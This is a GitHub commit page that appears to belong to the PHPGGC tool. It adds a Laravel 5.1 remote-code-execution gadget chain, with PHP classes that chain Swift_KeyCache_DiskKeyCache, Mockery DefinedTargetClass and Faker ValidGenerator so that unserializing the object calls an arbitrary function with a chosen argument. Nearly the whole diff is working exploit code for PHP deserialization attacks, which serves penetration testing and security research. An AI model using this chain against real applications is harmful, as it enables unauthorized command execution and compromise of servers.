Skip to content

Commit d3efa59

Browse files
committed
Merge branch 'fallingskies22-master'
2 parents 21f9199 + 7b0f89b commit d3efa59

File tree

2 files changed

+79
-0
lines changed

2 files changed

+79
-0
lines changed

gadgetchains/Laravel/RCE/21/chain.php

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
<?php
2+
3+
namespace GadgetChain\Laravel;
4+
5+
class RCE21 extends \PHPGGC\GadgetChain\RCE\FunctionCall
6+
{
7+
public static $version = '5.1.*';
8+
public static $vector = '__destruct';
9+
public static $author = 'fallingskies';
10+
11+
public function generate(array $parameters)
12+
{
13+
$function = $parameters['function'];
14+
$parameter = $parameters['parameter'];
15+
16+
return new \Swift_KeyCache_DiskKeyCache(
17+
$function,
18+
$parameter
19+
);
20+
}
21+
}
Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
<?php
2+
3+
namespace Faker
4+
{
5+
class DefaultGenerator
6+
{
7+
protected $default;
8+
9+
public function __construct($cmd)
10+
{
11+
$this->default = $cmd;
12+
}
13+
}
14+
class ValidGenerator
15+
{
16+
protected $generator;
17+
protected $validator;
18+
protected $maxRetries;
19+
20+
public function __construct($function, $cmd)
21+
{
22+
$this->generator = new DefaultGenerator($cmd);
23+
$this->maxRetries = 9;
24+
$this->validator = $function;
25+
}
26+
}
27+
}
28+
29+
namespace Mockery\Generator
30+
{
31+
use Faker\ValidGenerator;
32+
33+
class DefinedTargetClass
34+
{
35+
private $rfc;
36+
37+
public function __construct($function, $cmd)
38+
{
39+
$this->rfc = new ValidGenerator($function, $cmd);
40+
}
41+
}
42+
}
43+
44+
namespace
45+
{
46+
use Mockery\Generator\DefinedTargetClass;
47+
48+
class Swift_KeyCache_DiskKeyCache
49+
{
50+
private $_keys = ['fallingskies' => ['fallingskies' => 'fallingskies']];
51+
private $_path;
52+
53+
public function __construct($function, $cmd)
54+
{
55+
$this->_path = new DefinedTargetClass($function, $cmd);
56+
}
57+
}
58+
}

0 commit comments

Comments
 (0)